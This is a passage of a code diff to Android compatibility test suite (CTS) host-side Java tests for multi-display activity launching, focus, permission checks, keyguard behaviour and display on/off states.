* primary display.
*/
+ @CddTest(requirement="3.2.4/C-1-3")
@Presubmit
public void testConsequentLaunchActivity() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -634,11 +682,43 @@
}
/**
+ * Tests launching an activity on simulated display and then launching another activity from the
+ * first one - it must appear on the secondary display, because it was launched from there.
+ */
+ @CddTest(requirement="3.2.4/C-1-3")
+ @Presubmit
+ public void testConsequentLaunchActivityFromSecondaryDisplay() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
+ .build();
+
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+ mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+
+ mAmWmState.assertFocusedActivity("Activity launched on secondary display must be resumed",
+ LAUNCHING_ACTIVITY);
+
+ // Launch second activity from app on secondary display without specifying display id.
+ getLaunchActivityBuilder().setTargetActivityName(TEST_ACTIVITY_NAME).execute();
+ mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+
+ // Check that activity is launched in focused stack on external display.
+ mAmWmState.assertFocusedActivity("Launched activity must be focused", TEST_ACTIVITY_NAME);
+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+ final ActivityManagerState.ActivityStack frontStack
+ = mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Launched activity must be resumed in front stack",
+ getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
+ }
+
+ /**
* Tests launching an activity on virtual display and then launching another activity from the
* first one - it must appear on the secondary display, because it was launched from there.
*/
- @Presubmit
- public void testConsequentLaunchActivityFromSecondaryDisplay() throws Exception {
+ public void testConsequentLaunchActivityFromVirtualDisplay() throws Exception {
if (!supportsMultiDisplay()) { return; }
// Create new virtual display.
@@ -665,6 +745,112 @@
}
/**
+ * Tests launching an activity on virtual display and then launching another activity from the
+ * first one with specifying the target display - it must appear on the secondary display.
+ */
+ public void testConsequentLaunchActivityFromVirtualDisplayToTargetDisplay() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+ mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+
+ mAmWmState.assertFocusedActivity("Activity launched on secondary display must be resumed",
+ LAUNCHING_ACTIVITY);
+
+ // Launch second activity from app on secondary display specifying same display id.
+ getLaunchActivityBuilder().setTargetActivityName(SECOND_ACTIVITY_NAME)
+ .setTargetPackage(SECOND_PACKAGE_NAME)
+ .setDisplayId(newDisplay.mDisplayId).execute();
+ mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+
+ // Check that activity is launched in focused stack on external display.
+ mAmWmState.assertFocusedActivity("Launched activity must be focused", SECOND_PACKAGE_NAME,
+ SECOND_ACTIVITY_NAME);
+ int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+ ActivityManagerState.ActivityStack frontStack
+ = mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Launched activity must be resumed in front stack",
+ getActivityComponentName(SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME),
+ frontStack.mResumedActivity);
+
+ // Launch other activity with different uid and check if it has launched successfully.
+ final String broadcastAction = SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION";
+ executeShellCommand("am broadcast -a " + broadcastAction + " -p " + SECOND_PACKAGE_NAME
+ + " --ei display_id " + newDisplay.mDisplayId
+ + " --es target_activity " + THIRD_ACTIVITY_NAME
+ + " --es package_name " + THIRD_PACKAGE_NAME);
+ mAmWmState.waitForValidState(mDevice, new String[] {THIRD_ACTIVITY_NAME},
+ null /* stackIds */, false /* compareTaskAndStackBounds */, THIRD_PACKAGE_NAME);
+
+ // Check that activity is launched in focused stack on external display.
+ mAmWmState.assertFocusedActivity("Launched activity must be focused", THIRD_PACKAGE_NAME,
+ THIRD_ACTIVITY_NAME);
+ frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+ frontStack = mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Launched activity must be resumed in front stack",
+ getActivityComponentName(THIRD_PACKAGE_NAME, THIRD_ACTIVITY_NAME),
+ frontStack.mResumedActivity);
+ }
+
+ /**
+ * Tests launching an activity on virtual display and then launching another activity that
+ * doesn't allow embedding - it should fail with security exception.
+ */
+ public void testConsequentLaunchActivityFromVirtualDisplayNoEmbedding() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+ mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+
+ mAmWmState.assertFocusedActivity("Activity launched on secondary display must be resumed",
+ LAUNCHING_ACTIVITY);
+
+ final String logSeparator = clearLogcat();
+
+ // Launch second activity from app on secondary display specifying same display id.
+ getLaunchActivityBuilder().setTargetActivityName(SECOND_ACTIVITY_NO_EMBEDDING_NAME)
+ .setTargetPackage(SECOND_PACKAGE_NAME)
+ .setDisplayId(newDisplay.mDisplayId).execute();
+
+ assertSecurityException("ActivityLauncher", logSeparator);
+ }
+
+ /**
+ * Tests launching an activity to secondary display from activity on primary display.
+ */
+ public void testLaunchActivityFromAppToSecondaryDisplay() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Start launching activity.
+ launchActivity(LAUNCHING_ACTIVITY);
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
+ .build();
+
+ // Launch activity on secondary display from the app on primary display.
+ getLaunchActivityBuilder().setTargetActivityName(TEST_ACTIVITY_NAME)
+ .setDisplayId(newDisplay.mDisplayId).execute();
+
+ // Check that activity is launched on external display.
+ mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+ mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
+ TEST_ACTIVITY_NAME);
+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+ final ActivityManagerState.ActivityStack frontStack
+ = mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Launched activity must be resumed in front stack",
+ getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
+ }
+
+ /**
* Tests launching activities on secondary and then on primary display to see if the stack
* visibility is not affected.
*/
@@ -774,9 +960,8 @@
if (!supportsMultiDisplay()) { return; }
// Start an activity on default display to determine default stack.
- launchActivityOnDisplay(BROADCAST_RECEIVER_ACTIVITY, DEFAULT_DISPLAY_ID);
+ launchActivity(BROADCAST_RECEIVER_ACTIVITY);
final int focusedStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
-
// Finish probing activity.
executeShellCommand(FINISH_ACTIVITY_BROADCAST);
@@ -862,12 +1047,6 @@
public void testStackFocusSwitchOnTouchEvent() throws Exception {
if (!supportsMultiDisplay()) { return; }
- // VR Virtual display has a back button to dismiss. Clicking with a touchpad on any
- // location does not dismiss the virtual display as assumed in this test.
- if (mVrHeadset) {
- return;
- }
-
// Create new virtual display.
final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
@@ -891,8 +1070,8 @@
VIRTUAL_DISPLAY_ACTIVITY);
}
- /** Test that system is allowed to launch on secondary displays. */
- public void testPermissionLaunchFromSystem() throws Exception {
+ /** Test that shell is allowed to launch on secondary displays. */
+ public void testPermissionLaunchFromShell() throws Exception {
if (!supportsMultiDisplay()) { return; }
// Create new virtual display.
@@ -931,11 +1110,53 @@
externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
}
+ /** Test that launching from app that is on external display is allowed. */
+ public void testPermissionLaunchFromAppOnSecondary() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
+ .build();
+
+ // Launch activity with different uid on secondary display.
+ final String startCmd = "am start -n " + SECOND_PACKAGE_NAME + "/." + SECOND_ACTIVITY_NAME;
+ final String displayTarget = " --display " + newDisplay.mDisplayId;
+ executeShellCommand(startCmd + displayTarget);
+
+ mAmWmState.waitForValidState(mDevice, new String[] {SECOND_ACTIVITY_NAME},
+ null /* stackIds */, false /* compareTaskAndStackBounds */, SECOND_PACKAGE_NAME);
+ mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
+ SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME);
+ final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+ ActivityManagerState.ActivityStack focusedStack
+ = mAmWmState.getAmState().getStackById(externalFocusedStackId);
+ assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
+ focusedStack.mDisplayId);
+
+ // Launch another activity with third different uid from app on secondary display and check
+ // it is launched on secondary display.
+ final String broadcastAction = SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION";
+ final String targetActivity = " --es target_activity " + THIRD_ACTIVITY_NAME
+ + " --es package_name " + THIRD_PACKAGE_NAME
+ + " --ei display_id " + newDisplay.mDisplayId;
+ final String includeStoppedPackagesFlag = " -f 0x00000020";
+ executeShellCommand("am broadcast -a " + broadcastAction + " -p " + SECOND_PACKAGE_NAME
+ + targetActivity + includeStoppedPackagesFlag);
+
+ mAmWmState.waitForValidState(mDevice, new String[] {THIRD_ACTIVITY_NAME},
+ null /* stackIds */, false /* compareTaskAndStackBounds */, THIRD_PACKAGE_NAME);
+ mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
+ THIRD_PACKAGE_NAME, THIRD_ACTIVITY_NAME);
+ assertEquals("Activity launched by app on secondary display must be on that display",
+ externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
+ }
+
/** Tests that an activity can launch an activity from a different UID into its own task. */
public void testPermissionLaunchMultiUidTask() throws Exception {
if (!supportsMultiDisplay()) { return; }
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
+ .build();
launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
@@ -962,9 +1183,54 @@
}
/**
+ * Test that launching from display owner is allowed even when the the display owner
+ * doesn't have anything on the display.
+ */
+ public void testPermissionLaunchFromOwner() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+ mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+ mAmWmState.assertFocusedActivity("Virtual display activity must be focused",
+ VIRTUAL_DISPLAY_ACTIVITY);
+ final int defaultDisplayFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+ ActivityManagerState.ActivityStack focusedStack
+ = mAmWmState.getAmState().getStackById(defaultDisplayFocusedStackId);
+ assertEquals("Focus must remain on primary display", DEFAULT_DISPLAY_ID,
+ focusedStack.mDisplayId);
+
+ // Launch other activity with different uid on secondary display.
+ final String startCmd = "am start -n " + SECOND_PACKAGE_NAME + "/." + SECOND_ACTIVITY_NAME;
+ final String displayTarget = " --display " + newDisplay.mDisplayId;
+ executeShellCommand(startCmd + displayTarget);
+
+ mAmWmState.waitForValidState(mDevice, new String[] {SECOND_ACTIVITY_NAME},
+ null /* stackIds */, false /* compareTaskAndStackBounds */, SECOND_PACKAGE_NAME);
+ mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
+ SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME);
+ final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+ focusedStack = mAmWmState.getAmState().getStackById(externalFocusedStackId);
+ assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
+ focusedStack.mDisplayId);
+
+ // Check that owner uid can launch its own activity on secondary display.
+ final String broadcastAction = componentName + ".LAUNCH_BROADCAST_ACTION";
+ executeShellCommand("am broadcast -a " + broadcastAction + " -p " + componentName
+ + " --ez launch_activity true --ez new_task true --ez multiple_task true"
+ + " --ei display_id " + newDisplay.mDisplayId);
+
+ mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY_NAME);
+ mAmWmState.assertFocusedActivity("Focus must be on newly launched app", TEST_ACTIVITY_NAME);
+ assertEquals("Activity launched by owner must be on external display",
+ externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
+ }
+
+ /**
* Test that launching from app that is not present on external display and doesn't own it to
* that external display is not allowed.
*/
+ @CddTest(requirement="3.2.4/C-3-1")
public void testPermissionLaunchFromDifferentApp() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -992,17 +1258,28 @@
final String logSeparator = clearLogcat();
- // Launch other activity with different uid and check it is launched on primary display.
+ // Launch other activity with different uid and check security exception is triggered.
final String broadcastAction = SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION";
final String includeStoppedPackagesFlag = " -f 0x00000020";
executeShellCommand("am broadcast -a " + broadcastAction + " -p " + SECOND_PACKAGE_NAME
- + " --ei target_display " + newDisplay.mDisplayId + includeStoppedPackagesFlag);
+ + " --ei display_id " + newDisplay.mDisplayId + includeStoppedPackagesFlag);
+ assertSecurityException("LaunchBroadcastReceiver", logSeparator);
+
+ mAmWmState.waitForValidState(mDevice, new String[] {TEST_ACTIVITY_NAME},
+ null /* stackIds */, false /* compareTaskAndStackBounds */, componentName);
+ mAmWmState.assertFocusedActivity(
+ "Focus must be on first activity", componentName, TEST_ACTIVITY_NAME);
+ assertEquals("Focused stack must be on secondary display's stack",
+ externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
+ }
+
+ private void assertSecurityException(String component, String logSeparator) throws Exception {
int tries = 0;
boolean match = false;
final Pattern pattern = Pattern.compile(".*SecurityException launching activity.*");
while (tries < 5 && !match) {
- String[] logs = getDeviceLogsForComponent("LaunchBroadcastReceiver", logSeparator);
+ String[] logs = getDeviceLogsForComponent(component, logSeparator);
for (String line : logs) {
Matcher m = pattern.matcher(line);
if (m.matches()) {
@@ -1018,19 +1295,32 @@
}
assertTrue("Expected exception not found", match);
+ }
- mAmWmState.waitForValidState(mDevice, new String[] {TEST_ACTIVITY_NAME},
- null /* stackIds */, false /* compareTaskAndStackBounds */, componentName);
- mAmWmState.assertFocusedActivity(
- "Focus must be on first activity", componentName, TEST_ACTIVITY_NAME);
- assertEquals("Focused stack must be on secondary display's stack",
- externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
+ /**
+ * Test that only private virtual display can show content with insecure keyguard.
+ */
+ public void testFlagShowWithInsecureKeyguardOnPublicVirtualDisplay() throws Exception {
+ if (!supportsMultiDisplay()) {
+ return;
+ }
+
+ // Try to create new show-with-insecure-keyguard public virtual display.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this)
+ .setPublicDisplay(true)
+ .setCanShowWithInsecureKeyguard(true)
+ .setMustBeCreated(false)
+ .build();
+
+ // Check that the display is not created.
+ assertNull(newDisplay);
}
/**
* Test that all activities that were on the private display are destroyed on display removal.
*/
- @Presubmit
+ // TODO: Flaky, add to presubmit when b/63404575 is fixed.
+ @CddTest(requirement="3.2.4/C-1-4")
public void testContentDestroyOnDisplayRemoved() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -1085,6 +1375,7 @@
/**
* Test that the update of display metrics updates all its content.
*/
+ @CddTest(requirement="3.2.4/C-1-5")
@Presubmit
public void testDisplayResize() throws Exception {
if (!supportsMultiDisplay()) { return; }
@@ -1285,6 +1576,7 @@
executeShellCommand("am start -n " + getActivityComponentName(LAUNCHING_ACTIVITY));
final int stackId = mVrHeadset ? defaultDisplayFrontStackId : frontStackId;
+ final int focusedStackTaskCount = mVrHeadset ? 3 : 1;
mAmWmState.waitForFocusedStack(mDevice, stackId);
// Check that the third intent is redirected to the first task
@@ -1293,10 +1585,8 @@
assertEquals("Activity launched on default display must be resumed",
getActivityComponentName(LAUNCHING_ACTIVITY), secondFrontStack.mResumedActivity);
mAmWmState.assertFocusedStack("Focus must be on primary display", stackId);
- if (!mVrHeadset) {
- assertEquals("Focused stack must contain correct tasks",
- 1, secondFrontStack.getTasks().size());
- }
+ assertEquals("Focused stack must contain correct tasks",
+ focusedStackTaskCount, secondFrontStack.getTasks().size());
assertEquals("Focused task must only contain 1 activity",
1, secondFrontStack.getTasks().get(0).mActivities.size());
}
@@ -1308,7 +1598,8 @@
public void testNewTaskSameDisplay() throws Exception {
if (!supportsMultiDisplay()) { return; }
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this).setSimulateDisplay(true)
+ .build();
launchActivityOnDisplay(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mDisplayId);
mAmWmState.computeState(mDevice, new String[] {BROADCAST_RECEIVER_ACTIVITY});
@@ -1346,22 +1637,16 @@
mAmWmState.waitForValidState(mDevice, new String[] {LAUNCHING_ACTIVITY},
null /* stackIds */, false /* compareTaskAndStackBounds */, componentName);
- // In vr mode, 2d activities are launched on a virtual display. This means that when
- // LAUNCHING_ACTIVITY is launched, it ends up on a activity stack on the vr virtual
- // display but on any other device it ends up on a activity stack on the new virtual
- // display created which is denoted by the frontStackId.
- int tempStackId = mAmWmState.getAmState().getFrontStackId(displayId);
- int stackId = mVrHeadset ? tempStackId : frontStackId;
+ int stackId = mAmWmState.getAmState().getFrontStackId(displayId);
mAmWmState.assertFocusedStack("Focus must be on secondary display", stackId);
final ActivityManagerState.ActivityStack secondFrontStack =
mAmWmState.getAmState().getStackById(stackId);
assertEquals("Activity must be launched on secondary display",
getActivityComponentName(LAUNCHING_ACTIVITY),
secondFrontStack.mResumedActivity);
- if (!mVrHeadset) {
- assertEquals("Secondary display must contain correct tasks",
- 2, secondFrontStack.getTasks().size());
- }
+ final int taskCount = mVrHeadset ? 3 : 2;
+ assertEquals("Secondary display must contain correct tasks",
+ taskCount, secondFrontStack.getTasks().size());
}
/**
@@ -1404,6 +1689,235 @@
// All overrides will be cleared in tearDown.
}
+ /**
+ * Tests than an immediate launch after new display creation is handled correctly.
+ */
+ public void testImmediateLaunchOnNewDisplay() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Create new virtual display and immediately launch an activity on it.
+ final DisplayState newDisplay = new VirtualDisplayBuilder(this)
+ .setLaunchActivity(TEST_ACTIVITY_NAME).build();
+
+ // Check that activity is launched and placed correctly.
+ mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY_NAME, STATE_RESUMED);
+ mAmWmState.assertResumedActivity("Test activity must be launched on a new display",
+ TEST_ACTIVITY_NAME);
+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+ final ActivityManagerState.ActivityStack firstFrontStack =
+ mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Activity launched on secondary display must be resumed",
+ getActivityComponentName(TEST_ACTIVITY_NAME), firstFrontStack.mResumedActivity);
+ mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+ }
+
+ /**
+ * Tests that turning the primary display off does not affect the activity running
+ * on an external secondary display.
+ */
+ public void testExternalDisplayActivityTurnPrimaryOff() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Launch something on the primary display so we know there is a resumed activity there
+ launchActivity(RESIZEABLE_ACTIVITY_NAME);
+ waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
+ "Activity launched on primary display must be resumed");
+
+ final DisplayState newDisplay = createExternalVirtualDisplay(
+ true /* showContentWhenLocked */);
+
+ launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+
+ // Check that the activity is launched onto the external display
+ waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
+ "Activity launched on external display must be resumed");
+
+ setPrimaryDisplayState(false);
+
+ // Wait for the fullscreen stack to start sleeping, and then make sure the
+ // test activity is still resumed. Note that on some devices, the top activity may go to
+ // the stopped state by itself on sleep, causing the server side to believe it is still
+ // paused.
+ waitAndAssertActivityPausedOrStopped(RESIZEABLE_ACTIVITY_NAME,
+ "Activity launched on primary display must be stopped or paused after turning off");
+ waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
+ "Activity launched on external display must be resumed");
+ }
+
+ /**
+ * Tests that an activity can be launched on a secondary display while the primary
+ * display is off.
+ */
+ public void testLaunchExternalDisplayActivityWhilePrimaryOff() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Launch something on the primary display so we know there is a resumed activity there
+ launchActivity(RESIZEABLE_ACTIVITY_NAME);
+ waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
+ "Activity launched on primary display must be resumed");
+
+ setPrimaryDisplayState(false);
+
+ // Make sure there is no resumed activity when the primary display is off
+ waitAndAssertActivityStopped(RESIZEABLE_ACTIVITY_NAME,
+ "Activity launched on primary display must be stopped after turning off");
+ assertEquals("Unexpected resumed activity",
+ 0, mAmWmState.getAmState().getResumedActivitiesCount());
+
+ final DisplayState newDisplay = createExternalVirtualDisplay(
+ true /* showContentWhenLocked */);
+
+ launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+
+ // Check that the test activity is resumed on the external display
+ waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
+ "Activity launched on external display must be resumed");
+ }
+
+ /**
+ * Tests that turning the secondary display off stops activities running on that display.
+ */
+ public void testExternalDisplayToggleState() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ final DisplayState newDisplay = createExternalVirtualDisplay(
+ false /* showContentWhenLocked */);
+
+ launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+
+ // Check that the test activity is resumed on the external display
+ waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
+ "Activity launched on external display must be resumed");
+
+ mExternalDisplayHelper.turnDisplayOff();
+
+ // Check that turning off the external display stops the activity
+ waitAndAssertActivityStopped(TEST_ACTIVITY_NAME,
+ "Activity launched on external display must be stopped after turning off");
+
+ mExternalDisplayHelper.turnDisplayOn();
+
+ // Check that turning on the external display resumes the activity
+ waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
+ "Activity launched on external display must be resumed");
+ }
+
+ /**
+ * Tests that tapping on the primary display after showing the keyguard resumes the
+ * activity on the primary display.
+ */
+ public void testStackFocusSwitchOnTouchEventAfterKeyguard() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ // Launch something on the primary display so we know there is a resumed activity there
+ launchActivity(RESIZEABLE_ACTIVITY_NAME);
+ waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
+ "Activity launched on primary display must be resumed");
+
+ sleepDevice();
+
+ // Make sure there is no resumed activity when the primary display is off
+ waitAndAssertActivityStopped(RESIZEABLE_ACTIVITY_NAME,
+ "Activity launched on primary display must be stopped after turning off");
+ assertEquals("Unexpected resumed activity",
+ 0, mAmWmState.getAmState().getResumedActivitiesCount());
+
+ final DisplayState newDisplay = createExternalVirtualDisplay(
+ true /* showContentWhenLocked */);
+
+ launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+
+ // Check that the test activity is resumed on the external display
+ waitAndAssertActivityResumed(TEST_ACTIVITY_NAME, newDisplay.mDisplayId,
+ "Activity launched on external display must be resumed");
+
+ // Unlock the device and tap on the middle of the primary display
+ wakeUpDevice();
+ executeShellCommand("wm dismiss-keyguard");
+ final ReportedDisplayMetrics displayMetrics = getDisplayMetrics();
+ final int width = displayMetrics.getWidth();
+ final int height = displayMetrics.getHeight();
+ executeShellCommand("input tap " + (width / 2) + " " + (height / 2));
+
+ // Check that the activity on the primary display is resumed
+ waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
+ "Activity launched on primary display must be resumed");
+ assertEquals("Unexpected resumed activity",
+ 1, mAmWmState.getAmState().getResumedActivitiesCount());
+ }
+
+ private void waitAndAssertActivityResumed(String activityName, int displayId, String message)
+ throws Exception {
+ mAmWmState.waitForActivityState(mDevice, activityName, STATE_RESUMED);
+
+ final String fullActivityName = getActivityComponentName(activityName);
+ assertEquals(message, fullActivityName, mAmWmState.getAmState().getResumedActivity());
+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(displayId);
+ ActivityManagerState.ActivityStack firstFrontStack =
+ mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals(message, fullActivityName, firstFrontStack.mResumedActivity);
+ assertTrue(message,
+ mAmWmState.getAmState().hasActivityState(activityName, STATE_RESUMED));
+ mAmWmState.assertFocusedStack("Focus must be on external display", frontStackId);
+ mAmWmState.assertVisibility(activityName, true /* visible */);
+ }
+
+ private void waitAndAssertActivityStopped(String activityName, String message)
+ throws Exception {
+ waitAndAssertActivityState(activityName, message, STATE_STOPPED);
+ }
+
+ private void waitAndAssertActivityPausedOrStopped(String activityName, String message)
+ throws Exception {
+ waitAndAssertActivityState(activityName, message, STATE_PAUSED, STATE_STOPPED);
+ }
+
+ private void waitAndAssertActivityState(String activityName, String message, String... states)
+ throws Exception {
+ mAmWmState.waitForActivityState(mDevice, activityName, states);
+
+ boolean stateFound = false;
+
+ for (String state : states) {
+ if (mAmWmState.getAmState().hasActivityState(activityName, state)) {
+ stateFound = true;
+ break;
+ }
+ }
+
+ assertTrue(message, stateFound);
+ }
+
+ /**
+ * Tests that showWhenLocked works on a secondary display.
+ */
+ public void testSecondaryDisplayShowWhenLocked() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ try {
+ setLockCredential();
+
+ launchActivity(TEST_ACTIVITY_NAME);
+
+ final DisplayState newDisplay = createExternalVirtualDisplay(
+ false /* showContentWhenLocked */);
+ launchActivityOnDisplay(SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME, newDisplay.mDisplayId);
+
+ gotoKeyguard();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
+
+ mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY_NAME, STATE_STOPPED);
+ mAmWmState.waitForActivityState(
+ mDevice, SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME, STATE_RESUMED);
+
+ mAmWmState.computeState(mDevice, new String[] { SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME });
+ assertTrue("Expected resumed activity on secondary display", mAmWmState.getAmState()
+ .hasActivityState(SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME, STATE_RESUMED));
+ } finally {
+ tearDownLockCredentials();
+ }
+ }
+
/** Get physical and override display metrics from WM. */
private ReportedDisplayMetrics getDisplayMetrics() throws Exception {
mDumpLines.clear();
@@ -1527,4 +2041,35 @@
return getAmStartCmd(VIRTUAL_DISPLAY_ACTIVITY) + " -f 0x20000000" +
" --es command resize_display";
}
+
+ /**
+ * Creates a private virtual display with the external and show with insecure
+ * keyguard flags set.
+ */
+ private DisplayState createExternalVirtualDisplay(boolean showContentWhenLocked)
+ throws Exception {
+ final ReportedDisplays originalDS = getDisplaysStates();
+ final int originalDisplayCount = originalDS.getNumberOfDisplays();
+
+ mExternalDisplayHelper = new DisplayHelper(getDevice());
+ mExternalDisplayHelper.createAndWaitForDisplay(true /* external */, showContentWhenLocked);
+
+ // Wait for the virtual display to be created and get configurations.
+ final ReportedDisplays ds =
+ getDisplayStateAfterChange(originalDisplayCount + 1);
+ assertEquals("New virtual display must be created",
+ originalDisplayCount + 1, ds.getNumberOfDisplays());
+
+ // Find the newly added display.
+ final List<DisplayState> newDisplays = findNewDisplayStates(originalDS, ds);
+ return newDisplays.get(0);
+ }
+
+ /** Turns the primary display on/off by pressing the power key */
+ private void setPrimaryDisplayState(boolean wantOn) throws DeviceNotAvailableException {
+ // Either KeyEvent.KEYCODE_WAKEUP or KeyEvent.KEYCODE_SLEEP
+ int keycode = wantOn ? 224 : 223;
+ getDevice().executeShellCommand("input keyevent " + keycode);
+ DisplayHelper.waitForDefaultDisplayState(getDevice(), wantOn);
+ }
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java
index 2eb2a3e..518fb00 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java
@@ -20,7 +20,8 @@
import com.android.tradefed.log.LogUtil.CLog;
import java.awt.Rectangle;
-import static android.server.cts.ActivityManagerState.STATE_RESUMED;
+
+import static android.server.cts.WindowManagerState.TRANSIT_WALLPAPER_OPEN;
/**
* Build: mmma -j32 cts/hostsidetests/services
@@ -124,11 +125,8 @@
// Remove the docked stack, and ensure that
final String logSeparator = clearLogcat();
removeStacks(DOCKED_STACK_ID);
- assertRelaunchOrConfigChanged(TEST_ACTIVITY_NAME, 1 /* numRelaunch */,
- 0 /* numConfigChange */, logSeparator);
